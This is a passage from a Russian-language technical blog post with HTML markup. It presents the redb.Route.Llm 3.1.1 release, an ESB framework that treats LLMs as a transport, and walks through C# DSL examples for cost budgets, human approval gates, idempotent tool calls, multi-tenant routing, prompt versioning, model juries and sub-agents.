&lt;strong&gt;остальные восемнадцать&lt;/strong&gt;: retry, idempotency, audit, multi-tenant, бюджет, observability, governance, approval, batch, scheduling.&lt;p&gt;Идея &lt;code&gt;redb.Route.Llm&lt;/code&gt; — сделать LLM транспортом в ESB, у которого эти восемнадцать &lt;strong&gt;уже решены&lt;/strong&gt; на уровне фреймворка. Не «у нас есть библиотека интеграций, плюс отдельная LLM-библиотека», а &lt;strong&gt;ровно та же DSL, ровно тот же runtime, ровно те же hook&amp;#39;и для governance&lt;/strong&gt;. Если у вас в &lt;code&gt;redb.Route&lt;/code&gt; уже есть policy-перехватчик, который пишет в Kafka каждое действие — он автоматически пишет туда и каждый tool-вызов агента, потому что это всё один и тот же Exchange.&lt;p&gt;Это не теоретическая красота. Это снимает главную боль продакшена с агентами: &lt;strong&gt;«а что произойдёт, когда LLM попросит удалить production-таблицу?»&lt;/strong&gt; В конструкции «LangChain + хуки» ответ — «подключите наши approval-callbacks и не забудьте». В конструкции «LLM как транспорт в ESB» ответ — &lt;strong&gt;«перехватите Exchange до &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;.To(&amp;#34;exec://...&amp;#34;)&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; тем же &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;.Process(...)&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;, которым вы перехватываете любой потенциально опасный шаг в любом другом маршруте»&lt;/strong&gt;. Не «новый паттерн для AI», а &lt;strong&gt;тот же паттерн, что для FTP и для Kafka&lt;/strong&gt;.&lt;hr&gt;&lt;h3&gt;Что доделано из «честного skip-list» 3.1.0&lt;/h3&gt;&lt;p&gt;Я обещал — я говорю.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Skip-list пункт&lt;th&gt;&lt;p align=left&gt;Статус 3.1.1&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Streaming end-to-end (HTTP SSE + WS per-frame)&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Готово.&lt;/strong&gt; &lt;code&gt;IAsyncEnumerable&amp;lt;string&amp;gt;&lt;/code&gt; в &lt;code&gt;Out.Body&lt;/code&gt; → SSE-кадр на HTTP-side, отдельный WS-message на WS-side.&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;ToolCacheStore (REDB)&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Готово.&lt;/strong&gt; &lt;code&gt;ToolCacheProps&lt;/code&gt;, политика &lt;code&gt;ToolCachingPolicy.Memoize&lt;/code&gt; на уровне DSL.&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;KnowledgeStore — RAG-чанки в REDB&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Готово (частично).&lt;/strong&gt; &lt;code&gt;KnowledgeChunkProps&lt;/code&gt; + индексирование, embeddings будут отдельным релизом.&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;BatchStore + LlmCallbackProcessor&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Готово.&lt;/strong&gt; Anthropic Message Batches и OpenAI Batch — асинхронный webhook-консьюмер, идемпотентная обработка, retry.&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;EvalRunStore&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Готово.&lt;/strong&gt; Прогоны eval&amp;#39;ов сохраняются как первоклассные сущности с trace-id&amp;#39;ами.&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;PromptTemplateStore&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Готово.&lt;/strong&gt; Версионированный реестр промптов, ссылка &lt;code&gt;#name&lt;/code&gt; в DSL.&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Sliding-window память&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Не сделано.&lt;/strong&gt; Сделано иначе: tree-branching конверсаций как REDB-tree (см. ниже).&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Sandbox-инструменты&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Не сделано&lt;/strong&gt; в виде «контейнер на каждый вызов». Сделан &lt;code&gt;redb.Route.Exec&lt;/code&gt; с allowlist + working-dir + timeout + cap-by-bytes — практичный enterprise-минимум.&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Бонусом, чего в skip-list не было:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;?redb=&amp;lt;name&amp;gt;&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; per-exchange&lt;/strong&gt; — мульти-tenant: одна и та же конфигурация маршрута, REDB-instance выбирается из заголовка/URI на лету;&lt;li&gt;&lt;p&gt;&lt;strong&gt;DSL/tool split&lt;/strong&gt; — пакеты &lt;code&gt;redb.Route.Llm.Abstractions&lt;/code&gt; (контракты) и &lt;a href=http://redb.Route.Llm.Tools rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;redb.Route.Llm.Tools&lt;/code&gt;&lt;/a&gt; (готовые утилитарные инструменты), чтобы 22 коннектора могли регистрировать &lt;code&gt;.AsLlmTool()&lt;/code&gt; без bump&amp;#39;а минорки на каждый чих;&lt;li&gt;&lt;p&gt;&lt;strong&gt;6 утилитарных инструментов из коробки&lt;/strong&gt;: &lt;code&gt;HttpFetch&lt;/code&gt;, &lt;code&gt;JsonPath&lt;/code&gt;, &lt;code&gt;XPath&lt;/code&gt;, &lt;code&gt;RegexExtract&lt;/code&gt;, &lt;code&gt;MathEval&lt;/code&gt;, &lt;code&gt;TavilyWebSearch&lt;/code&gt; — каждый и как DSL-расширение, и как standalone tool-route;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Bug fixes&lt;/strong&gt;, которые нашлись только в проде: orphan-&lt;code&gt;tool_use&lt;/code&gt; (когда модель просит инструмент, а Anthropic-провайдер обрывает на ошибке) и OEM-codepage в &lt;code&gt;Process.StandardOutput&lt;/code&gt; (windows-1251 в выхлопе &lt;code&gt;cmd /c&lt;/code&gt; ломает UTF-8 контракт инструмента).&lt;/ul&gt;&lt;p&gt;11 REDB-схем теперь стоят за всем этим: &lt;code&gt;ConversationProps&lt;/code&gt;, &lt;code&gt;MessageProps&lt;/code&gt;, &lt;code&gt;ApprovalProps&lt;/code&gt;, &lt;code&gt;CostBudgetProps&lt;/code&gt;, &lt;code&gt;ToolCacheProps&lt;/code&gt;, &lt;code&gt;ToolAuditProps&lt;/code&gt;, &lt;code&gt;KnowledgeChunkProps&lt;/code&gt;, &lt;code&gt;PromptTemplateProps&lt;/code&gt;, &lt;code&gt;EvalRunProps&lt;/code&gt;, &lt;code&gt;LlmBatchProps&lt;/code&gt;, &lt;code&gt;ToolIdempotencyProps&lt;/code&gt;. Это не «база данных под чат-историю». Это &lt;strong&gt;операционный слой агентской платформы&lt;/strong&gt;, который вы получаете за &lt;code&gt;AddRedbLlmStorage()&lt;/code&gt; в одну строку.&lt;hr&gt;&lt;h3&gt;Десять enterprise-паттернов, которые становятся одной строчкой DSL&lt;/h3&gt;&lt;p&gt;Дальше — паттерны. Не «Hello, world», а то, ради чего вообще существует ESB-подход к LLM.&lt;h4&gt;1. Жёсткий бюджет на разговор как circuit-breaker&lt;/h4&gt;&lt;p&gt;В пет-проекте «бюджет токенов» — это лог. В проде это &lt;strong&gt;техника защиты от инцидентов&lt;/strong&gt;: модель не должна иметь права съесть 10к долларов из-за бага в промпте. &lt;code&gt;CostBudgetProps&lt;/code&gt; — это не observability-сущность, это &lt;strong&gt;превентивное правило&lt;/strong&gt;. На каждом провайдер-вызове агент-engine считает потраченное по conversation-id и прибавляет ожидаемое (по &lt;code&gt;max_tokens&lt;/code&gt;). Если суммарно превысит лимит — &lt;code&gt;LlmBudgetExceededException&lt;/code&gt; бросается &lt;strong&gt;до отправки запроса&lt;/strong&gt;, а не после.&lt;pre&gt;&lt;code&gt;From(&amp;#34;kafka://support-tickets&amp;#34;)&#xA;    .To(Llm.Factory(&amp;#34;claude&amp;#34;)&#xA;        .Conversation(e =&amp;gt; &amp;#34;ticket-&amp;#34; + e.In.Headers[&amp;#34;TicketId&amp;#34;])&#xA;        .CostBudget(usd: 0.50)            // hard ceiling per conversation-id&#xA;        .CostBudgetExceeded(BudgetPolicy.FailFast)&#xA;        .AsUri())&#xA;    .To(&amp;#34;kafka://support-replies&amp;#34;);&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Поверх этого паттерна сразу появляются производные: «бюджет на тенант», «бюджет на промпт-шаблон», «бюджет на модель». Все они — это просто разные ключи в &lt;code&gt;CostBudgetProps&lt;/code&gt;. Конструкция остаётся одна.&lt;h4&gt;2. Approval-gate с человеком в цикле&lt;/h4&gt;&lt;p&gt;Самый недооценённый enterprise-паттерн в LLM. Если модель имеет право удалять записи или отправлять платежи — между tool-вызовом и реальным выполнением &lt;strong&gt;должен стоять человек&lt;/strong&gt;, и эта пауза должна быть нативной частью runtime, а не «костылём из webhook&amp;#39;ов».&lt;pre&gt;&lt;code&gt;From(&amp;#34;direct:tool-payments-refund&amp;#34;)&#xA;    .AsLlmTool(&amp;#34;issue_refund&amp;#34;)&#xA;        .Description(&amp;#34;Refund a payment by id and reason.&amp;#34;)&#xA;        .Input(/* JSON Schema */)&#xA;        .SideEffect(ToolSideEffect.Mutating)         // hook governance reads this&#xA;        .Cost(ToolCostClass.Expensive)&#xA;    .Then()&#xA;    .Process&amp;lt;ApprovalGate&amp;gt;()                          // suspend exchange, write ApprovalProps,&#xA;                                                       // notify Slack, wait for HTTP callback&#xA;    .To(&amp;#34;kafka://payments.refund.commands&amp;#34;);&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;ApprovalProps&lt;/code&gt; хранит exchange-id, conversation-id, входные аргументы, человека-аппрувера, время ожидания, исход. Slack-bot/email/web-form подключаются как обычный HTTP-маршрут в том же &lt;code&gt;redb.Route&lt;/code&gt;. Когда аппрувер кликает «approve» — webhook будит exchange и доставляет результат в агент-engine. Если timeout — agent получает &lt;code&gt;tool_result&lt;/code&gt; со &lt;code&gt;status:&amp;#34;timeout&amp;#34;&lt;/code&gt; и сам решает, что делать.&lt;p&gt;Главное здесь — это &lt;strong&gt;не AI-логика&lt;/strong&gt;. Это паттерн EIP «Aggregator + Correlation Identifier + Wire-Tap + JMS Reply-To», который применим и к refund-engine&amp;#39;у без LLM, и к LLM-агенту, потому что они оба — Exchange&amp;#39;и в одном runtime.&lt;h4&gt;3. Идемпотентный retry с ToolIdempotencyProps&lt;/h4&gt;&lt;p&gt;Webhook-консьюмеры повторяются. Сетевые таймауты — повторяются. Anthropic Batch иногда доставляет дважды. Если ваш tool-вызов «issue refund $50» обрабатывается два раза — это плохая среда.&lt;p&gt;&lt;code&gt;ToolIdempotencyProps&lt;/code&gt; хранит &lt;code&gt;idempotency-key → tool-result&lt;/code&gt; с TTL. В DSL:&lt;pre&gt;&lt;code&gt;From(&amp;#34;direct:tool-issue-invoice&amp;#34;)&#xA;    .AsLlmTool(&amp;#34;issue_invoice&amp;#34;)&#xA;        .Caching(ToolCachingPolicy.Idempotent)&#xA;    .Then()&#xA;    .Process(BuildIdempotencyKey)                    // sha256(args + customer-id + day)&#xA;    .To(&amp;#34;...&amp;#34;);&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Когда агент-engine видит &lt;code&gt;Caching = Idempotent&lt;/code&gt; — он &lt;strong&gt;до&lt;/strong&gt; запуска маршрута проверяет &lt;code&gt;ToolIdempotencyProps&lt;/code&gt; по ключу. Hit — отдаёт сохранённый &lt;code&gt;tool_result&lt;/code&gt;, маршрут не запускается. Miss — запускается, результат записывается. На уровне фреймворка, а не на уровне «не забудьте».&lt;h4&gt;4. Multi-tenant через ?redb=&lt;/h4&gt;&lt;p&gt;Один воркер обслуживает 50-100 клиентов. Каждый клиент — это &lt;strong&gt;свой REDB-instance&lt;/strong&gt; (свои conversations, свой cost-budget, свои approvals, своя knowledge-base). Раньше это значило бы «50 -100 ServiceProvider&amp;#39;ов или ScopedFactory с маршрутом на каждый». В 3.1.1 это &lt;strong&gt;per-exchange hint&lt;/strong&gt;:&lt;pre&gt;&lt;code&gt;From(&amp;#34;http:0.0.0.0:5088/api/llm/ask?inOut=true&amp;#34;)&#xA;    .Process(e =&amp;gt;&#xA;        e.In.Headers[LlmHeaders.Redb] = e.In.Headers[&amp;#34;X-Tenant&amp;#34;]?.ToString())&#xA;    .To(&amp;#34;llm://claude?conversationFromHeader=true&amp;#34;);&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;?redb=acme&lt;/code&gt; или заголовок — engine выбирает named REDB-instance из реестра, &lt;strong&gt;на текущем Exchange&lt;/strong&gt;, без смены маршрута, без фабрики, без перезапуска. Conversations, ToolAudit, ApprovalProps — всё пишется в нужный tenant. Каждый tenant получает свой биллинг и свой governance, не зная про существование других.&lt;h4&gt;5. Audit trail без отдельной интеграции&lt;/h4&gt;&lt;p&gt;&lt;code&gt;ToolAuditProps&lt;/code&gt; — это REDB-объект с tenant-id, conversation-id, exchange-id, tool-name, входными аргументами (или хэшом, если PII), выходом (или хэшом), длительностью, статусом. Каждый вызов инструмента пишется автоматически, потому что инструмент &lt;strong&gt;это всё равно маршрут&lt;/strong&gt;, а у &lt;code&gt;redb.Route&lt;/code&gt; есть стандартные post-processors.&lt;p&gt;Запрос вида «покажи мне все tool-вызовы Claude в tenant acme за последние 7 дней с side-effect=mutating и cost=expensive, упорядочены по времени» — это не отдельный аналитический пайплайн. Это &lt;code&gt;&lt;strong&gt;value_string&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; индекс на REDB-объекте + один SQL&lt;/strong&gt; (см. предыдущую серию «REDB storage», ссылки в конце).&lt;h4&gt;6. Async batch + callback-consumer&lt;/h4&gt;&lt;p&gt;Anthropic Message Batches и OpenAI Batch — это &lt;strong&gt;до 50% дешевле&lt;/strong&gt;, но цена за это — задержка до 24 часов. Для офлайн-обработок (классификация миллиона тикетов, экстракция полей из миллиона PDF) это идеальный режим.&lt;p&gt;&lt;code&gt;LlmBatchProps&lt;/code&gt; хранит batch-id, statuses, мета-связь с исходной коллекцией Exchange&amp;#39;ов. &lt;code&gt;LlmCallbackProcessor&lt;/code&gt; — это &lt;strong&gt;обычный &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;From(&amp;#34;http://...?inOut=true&amp;#34;)&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;-маршрут&lt;/strong&gt;, который провайдер вызывает по готовности batch&amp;#39;а. Маршрут читает batch-id, забирает результаты, диспетчит каждый ответ обратно в нужный Exchange (через correlation-id) — и они продолжают идти по своему пути, как будто синхронный вызов закончился.&lt;p&gt;Поверх — идемпотентность (тот же ToolIdempotencyProps), retry (стандартный circuit-breaker &lt;code&gt;redb.Route&lt;/code&gt;), backpressure. Не нужно писать свой батчер. Не нужно писать свой webhook-handler. Не нужно отдельно тестировать «а что если callback пришёл два раза».&lt;h4&gt;7. Версионированный реестр промптов: #-refs&lt;/h4&gt;&lt;p&gt;Один из самых тоскливых багов прода: «модель стала отвечать иначе». Идёшь смотреть git-blame, оказывается — кто-то 3 недели назад тронул системный промпт, и тесты прошли. Промпт — это &lt;strong&gt;код&lt;/strong&gt;, и должен жить в реестре с версией.&lt;pre&gt;&lt;code&gt;// Where you register prompts:&#xA;promptRegistry.Register(&amp;#34;triage-system&amp;#34;, version: &amp;#34;v3&amp;#34;, body: &amp;#34;&amp;#34;&amp;#34;&#xA;    You are a support triage agent. Classify into [billing, tech, sales, abuse]...&#xA;    &amp;#34;&amp;#34;&amp;#34;);&#xA;&#xA;// In the route:&#xA;.To(Llm.Factory(&amp;#34;claude&amp;#34;).SystemPromptRef(&amp;#34;#triage-system@v3&amp;#34;).AsUri())&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;PromptTemplateProps&lt;/code&gt; — это REDB-объект с именем, версией, телом, метаданными (автор, дата, эксперимент). Engine при разрешении &lt;code&gt;#name&lt;/code&gt; фиксирует &lt;strong&gt;именно эту версию&lt;/strong&gt; в &lt;code&gt;MessageProps&lt;/code&gt; для каждого вызова. Через полгода вы можете полностью точно сказать: «этот разговор шёл на версии v3 промпта triage-system», а не «вероятно, v3, мы тогда так делали».&lt;p&gt;И — самое полезное — &lt;code&gt;EvalRunStore&lt;/code&gt; фиксирует прогоны eval-test&amp;#39;ов &lt;strong&gt;в привязке к версии промпта&lt;/strong&gt;. «Версия v4 даёт +12% accuracy на golden-set&amp;#39;е» — это не excel-табличка, это запрос в REDB.&lt;h4&gt;8. Tree-branching конверсаций для A/B и «что было бы, если»&lt;/h4&gt;&lt;p&gt;&lt;code&gt;ConversationProps&lt;/code&gt; хранится как REDB-tree через нативный &lt;code&gt;parent_id&lt;/code&gt;. Это значит, что разговор — не плоский список сообщений, а &lt;strong&gt;дерево&lt;/strong&gt;. Вы можете:&lt;ul&gt;&lt;li&gt;&lt;p&gt;ветвить разговор от любого сообщения, чтобы запустить «альтернативный» прогон с другой моделью или температурой;&lt;li&gt;&lt;p&gt;хранить пользовательскую ветку и эксперимент-ветку параллельно;&lt;li&gt;&lt;p&gt;считать метрики по парам веток («с-инструментами vs без-инструментов на одном и том же контексте»).&lt;/ul&gt;&lt;p&gt;В sliding-window памяти вы &lt;strong&gt;отрезаете прошлое&lt;/strong&gt;. В tree-branching памяти вы &lt;strong&gt;пишете альтернативное прошлое и сравниваете&lt;/strong&gt;. Для production-агентов второе ценнее на порядок, потому что улучшение промптов в проде — это и есть «возьми реальный разговор, проиграй с новым промптом, сравни оценки».&lt;p&gt;И технически здесь ничего не было сделано «специально для LLM». Tree через &lt;code&gt;parent_id&lt;/code&gt; — это &lt;strong&gt;штатная возможность REDB&lt;/strong&gt;, которая используется для иерархий объектов с самого начала. LLM просто написала на этом свою сущность.&lt;h4&gt;9. Jury из младших моделей с arbiter&amp;#39;ом — Scatter-Gather + Aggregator&lt;/h4&gt;&lt;p&gt;Один из самых недооценённых production-приёмов: &lt;strong&gt;не верить одной модели&lt;/strong&gt;. Одна и та же задача отправляется одновременно в несколько дешёвых моделей (Haiku, GPT-4o-mini, Mistral-Small, Gemini-Flash, Llama-3.1-70b через Groq), их ответы собираются, и &lt;strong&gt;старшая модель&lt;/strong&gt; (Sonnet, Opus, GPT-4o) получает оригинальный запрос &lt;strong&gt;плюс пять кандидатов&lt;/strong&gt; и работает как арбитр: выбирает лучший, синтезирует новый или говорит «никто не справился, переспроси». В литературе это называется &lt;strong&gt;mixture-of-agents&lt;/strong&gt; или &lt;strong&gt;ensemble voting&lt;/strong&gt; — паттерн, который даёт +10..20% accuracy на сложных задачах при цене ниже, чем «всё через Opus».&lt;p&gt;В чистой LangChain-конструкции это превращается в стостраничный orchestrator с try/catch, retry на каждую модель, таймаутами на каждый вызов и собственной aggregation-логикой. В ESB-конструкции это &lt;strong&gt;штатный EIP-паттерн Scatter-Gather + Aggregator&lt;/strong&gt;, у которого 25-летняя история в интеграционных шинах. LLM просто становится одним из endpoint&amp;#39;ов, по которому Scatter-Gather разлетается:&lt;pre&gt;&lt;code&gt;From(&amp;#34;kafka://contract-clauses-to-classify&amp;#34;)&#xA;    .RouteId(&amp;#34;contract-jury&amp;#34;)&#xA;    .Multicast()                                          // Scatter&#xA;        .Parallel()&#xA;        .StopOnException(false)                           // одна модель упала — терпим&#xA;        .Timeout(TimeSpan.FromSeconds(30))                // на каждую ветку&#xA;        .To(Llm.Factory(&amp;#34;haiku&amp;#34;)&#xA;            .SystemPromptRef(&amp;#34;#contract-classify@v3&amp;#34;)&#xA;            .Temperature(0.0).MaxTokens(200).AsUri())&#xA;        .To(Llm.Factory(&amp;#34;gpt-4o-mini&amp;#34;)&#xA;            .SystemPromptRef(&amp;#34;#contract-classify@v3&amp;#34;)&#xA;            .Temperature(0.0).MaxTokens(200).AsUri())&#xA;        .To(Llm.Factory(&amp;#34;groq-llama-70b&amp;#34;)&#xA;            .SystemPromptRef(&amp;#34;#contract-classify@v3&amp;#34;)&#xA;            .Temperature(0.0).MaxTokens(200).AsUri())&#xA;        .To(Llm.Factory(&amp;#34;mistral-small&amp;#34;)&#xA;            .SystemPromptRef(&amp;#34;#contract-classify@v3&amp;#34;)&#xA;            .Temperature(0.0).MaxTokens(200).AsUri())&#xA;    .End()                                                // Gather: ответы собрались в Exchange.Properties[&amp;#34;multicast.results&amp;#34;]&#xA;    .Process&amp;lt;JuryAggregator&amp;gt;()                            // склеиваем кандидатов в один промпт для арбитра&#xA;    .To(Llm.Factory(&amp;#34;sonnet&amp;#34;)                             // Arbiter&#xA;        .SystemPromptRef(&amp;#34;#jury-arbiter@v2&amp;#34;)&#xA;        .Temperature(0.1).MaxTokens(500)&#xA;        .CostBudget(usd: 0.05)&#xA;        .AsUri())&#xA;    .To(&amp;#34;kafka://contract-clauses-classified&amp;#34;);&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;JuryAggregator&lt;/code&gt; — это короткий процессор, который из четырёх ответов и оригинального запроса собирает один промпт вида «вот задача; вот ответы кандидатов A/B/C/D; верни итоговую классификацию или скажи unclear». Arbiter получает всё в одном вызове, отвечает структурированным JSON. Хедеры &lt;code&gt;llm.tokens.in/out&lt;/code&gt; пишутся отдельно для каждой ветки, плюс отдельно для арбитра — стоимость прозрачна на уровне маршрута.&lt;p&gt;Что здесь делает ESB-форма ценным:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Параллелизм бесплатно.&lt;/strong&gt; Multicast EIP уже умеет fan-out по N веткам, ждать всех или N из M, обрабатывать таймауты и частичные сбои. Не нужно писать &lt;code&gt;Task.WhenAll&lt;/code&gt; с custom-обработкой ошибок.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Идемпотентность бесплатно.&lt;/strong&gt; Если одна из веток упала и retry дал тот же запрос — &lt;code&gt;ToolIdempotencyProps&lt;/code&gt; (или provider-side cache по prompt-hash) дедуплицирует. Не платим за дубль.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Бюджет бесплатно.&lt;/strong&gt; &lt;code&gt;.CostBudget(usd: 0.05)&lt;/code&gt; на arbiter&amp;#39;е стоит как отдельный circuit-breaker; на ветках можно поставить свой &lt;code&gt;.CostBudget(usd: 0.01)&lt;/code&gt;. Cap на всё суммарно — через &lt;code&gt;CostBudgetProps&lt;/code&gt; с другим ключом. Если jury вышло за лимит — failfast, классификация откатывается на rule-based fallback (его же пишем как ещё одну ветку маршрута).&lt;li&gt;&lt;p&gt;&lt;strong&gt;Audit бесплатно.&lt;/strong&gt; Каждый из пяти LLM-вызовов автоматически попадает в &lt;code&gt;ToolAuditProps&lt;/code&gt;, привязанный к одному exchange-id. Через месяц можно ответить «модель Х согласилась с арбитром в 73% случаев, можно её отключить и сэкономить».&lt;li&gt;&lt;p&gt;&lt;strong&gt;Eval бесплатно.&lt;/strong&gt; &lt;code&gt;EvalRunProps&lt;/code&gt; записывает прогон с пятью моделями + одним арбитром — потом на golden-set&amp;#39;е можно подобрать &lt;strong&gt;оптимальный состав jury&lt;/strong&gt; (заменить gpt-4o-mini на gemini-flash, проверить, упало ли accuracy).&lt;/ul&gt;&lt;p&gt;В реальности этот паттерн даёт две ощутимые победы. Первая — &lt;strong&gt;точность&lt;/strong&gt;: в задачах вида «классифицировать пункт договора как риск/не-риск», где одна модель регулярно ошибается, jury из четырёх дешёвых + арбитр-Sonnet уверенно обгоняет одиночный Opus, &lt;strong&gt;в 2.5 раза дешевле&lt;/strong&gt;. Вторая — &lt;strong&gt;робастность&lt;/strong&gt;: если Anthropic лежит, ветка через Anthropic упала, остальные четыре дали ответ, арбитр получил четыре кандидата вместо пяти и спокойно вынес вердикт. Деградация мягкая, а не «упало всё».&lt;p&gt;Тонкость, которую видишь только в проде: &lt;strong&gt;арбитру нельзя давать имена моделей&lt;/strong&gt;. Если в промпте арбитра написано «вот ответ Claude Haiku, вот ответ GPT-4o-mini» — арбитр развивает фавориты (как и человек). Поэтому в &lt;code&gt;JuryAggregator&lt;/code&gt; мы анонимизируем кандидаты как &lt;code&gt;A/B/C/D&lt;/code&gt;, перемешиваем порядок (Latin square по &lt;code&gt;exchange-id&lt;/code&gt; для воспроизводимости) и &lt;strong&gt;только после ответа арбитра&lt;/strong&gt; мапим обратно «кто был A». Это даёт чистый сигнал для post-hoc анализа «какая модель чаще угадывает с арбитром».&lt;h4&gt;10. Sub-agents: агент как инструмент другого агента&lt;/h4&gt;&lt;p&gt;Прямое следствие архитектуры «инструмент = маршрут»: если маршрут может содержать &lt;code&gt;.To(&amp;#34;llm://...&amp;#34;)&lt;/code&gt;, то &lt;strong&gt;инструмент — это сам по себе агент&lt;/strong&gt;. Главный агент не «знает», что под капотом инструмента сидит ещё одна LLM. Для него &lt;code&gt;research_topic&lt;/code&gt; — это обычный tool, как &lt;code&gt;web_search&lt;/code&gt; или &lt;code&gt;math_eval&lt;/code&gt;. Внутри же — полноценный second-tier агент со своими: моделью, промптом, набором инструментов, бюджетом, итерационным потолком, политиками retry, RAG-источниками.&lt;p&gt;В коде это выглядит так:&lt;pre&gt;&lt;code&gt;// Subagent: исследовательский специалист с собственными инструментами&#xA;From(&amp;#34;direct:research-subagent&amp;#34;)&#xA;    .AsLlmTool(&amp;#34;research_topic&amp;#34;)&#xA;        .Description(&amp;#34;Глубокое исследование темы. Принимает {topic, depth}. &amp;#34; +&#xA;                     &amp;#34;Возвращает структурированный summary с источниками.&amp;#34;)&#xA;        .Input(&amp;#34;&amp;#34;&amp;#34;{&amp;#34;type&amp;#34;:&amp;#34;object&amp;#34;,&amp;#34;properties&amp;#34;:{&#xA;                    &amp;#34;topic&amp;#34;:{&amp;#34;type&amp;#34;:&amp;#34;string&amp;#34;},&#xA;                    &amp;#34;depth&amp;#34;:{&amp;#34;type&amp;#34;:&amp;#34;string&amp;#34;,&amp;#34;enum&amp;#34;:[&amp;#34;short&amp;#34;,&amp;#34;deep&amp;#34;]}},&#xA;                  &amp;#34;required&amp;#34;:[&amp;#34;topic&amp;#34;]}&amp;#34;&amp;#34;&amp;#34;)&#xA;        .SideEffect(ToolSideEffect.ReadOnly)&#xA;        .Cost(ToolCostClass.Expensive)               // главный агент видит, что вызов недешёвый&#xA;    .Then()&#xA;    .Knowledge(&amp;#34;research-corpus&amp;#34;, k: 12)             // sub-agent имеет свою RAG-базу&#xA;    .To(Llm.Factory(&amp;#34;sonnet&amp;#34;)                        // средняя модель — research-специалист&#xA;        .SystemPromptRef(&amp;#34;#research-specialist@v3&amp;#34;)&#xA;        .Tools(&amp;#34;tavily_web_search&amp;#34;, &amp;#34;http_fetch&amp;#34;, &amp;#34;regex_extract&amp;#34;)&#xA;        .MaxIterations(8)&#xA;        .CostBudget(usd: 0.30)                       // sub-agent имеет свой бюджет&#xA;        .Temperature(0.1).AsUri())&#xA;    .Process&amp;lt;ExtractResearchSummary&amp;gt;();&#xA;&#xA;// Главный агент использует sub-agent как обычный tool в своём наборе&#xA;From(&amp;#34;kafka://complex-business-questions&amp;#34;)&#xA;    .To(Llm.Factory(&amp;#34;opus&amp;#34;)                          // planner — старшая модель&#xA;        .SystemPromptRef(&amp;#34;#senior-analyst@v1&amp;#34;)&#xA;        .Tools(&amp;#34;research_topic&amp;#34;,                     // ← наш sub-agent&#xA;               &amp;#34;sql_query&amp;#34;,                          // ← обычный data-tool&#xA;               &amp;#34;math_eval&amp;#34;,                          // ← вычисления&#xA;               &amp;#34;draft_report&amp;#34;)                       // ← ещё один sub-agent (черновик отчёта)&#xA;        .MaxIterations(15)&#xA;        .CostBudget(usd: 2.00)                       // budget верхнего уровня&#xA;        .AsUri())&#xA;    .To(&amp;#34;kafka://business-answers&amp;#34;);&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img 